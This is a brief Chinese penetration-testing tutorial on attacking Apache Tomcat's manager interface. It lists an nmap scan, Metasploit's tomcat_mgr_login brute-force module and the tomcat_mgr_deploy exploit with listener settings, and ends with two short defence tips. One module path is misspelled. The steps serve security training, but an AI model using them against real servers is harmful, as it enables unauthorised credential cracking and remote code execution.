web渗透--tomcat管理密码破解

tomcat介绍

• tomcat服务器是一个免费的开放源码的web应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合普遍使用，是开发和调试JSP程序的首选。
• 默认8180端口是tomcat管理的HTTP端口

探测目标tomcat

• nmap -sV 目标IP地址 -p 8180
• 探测tomcat的版本信息

msf破解tomcat密码

• msfconsole
• use auxiliary/scanner/http/tomcat_mgr_login
• set rhost、 rport
• run

msf利用tomcat管理

• msfconsole
• use exploit/muiti/http/tomcat_mgr_deploy
• show options
• set httpusername、httppassword、rhosts、lhosts、rport
• run

防御

• 设置阈值
• 更改为复杂密码